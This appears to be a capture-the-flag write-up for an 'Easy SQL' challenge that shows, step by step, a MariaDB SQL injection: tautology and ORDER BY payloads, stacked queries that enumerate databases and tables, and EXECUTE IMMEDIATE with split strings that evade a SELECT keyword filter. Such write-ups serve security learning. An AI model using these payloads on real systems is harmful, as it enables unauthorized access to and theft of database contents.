Easy SQL (200)
Filtered MariaDB injection, stacked queries
Basic Payload
1' or '1'='1
Finding Number of Columns
1' ORDER BY 2 -- -
: No error
1' ORDER BY 3 -- -
: error 1054 : Unknown column '3' in 'order clause'
So there are 2 columns
Stacked Queries
Many keywords, such as SELECT and UNION, are filtered out by regex. However, it appears stacked queries are allowed.
1'; SHOW DATABASES;
1'; SHOW TABLES;
1'; DESCRIBE words;
1'; DESCRIBE `1919810931114514`;
1'; USE information_schema; SHOW TABLES;
1'; SHOW PROCEDURE STATUS; SHOW FUNCTION STATUS;
Execute Immediate
Unlike MySQL, MariaDB supports the EXECUTE IMMEDIATE
command which will execute a string as an SQL query.
1';EXECUTE IMMEDIATE CONCAT('SEL', 'ECT * FROM words');
1';EXECUTE IMMEDIATE CONCAT('SEL', 'ECT * FROM `1919810931114514`');
Note the backticks around 1919810931114514, they are needed to prevent the table name from being interpreted as a number.
Last updated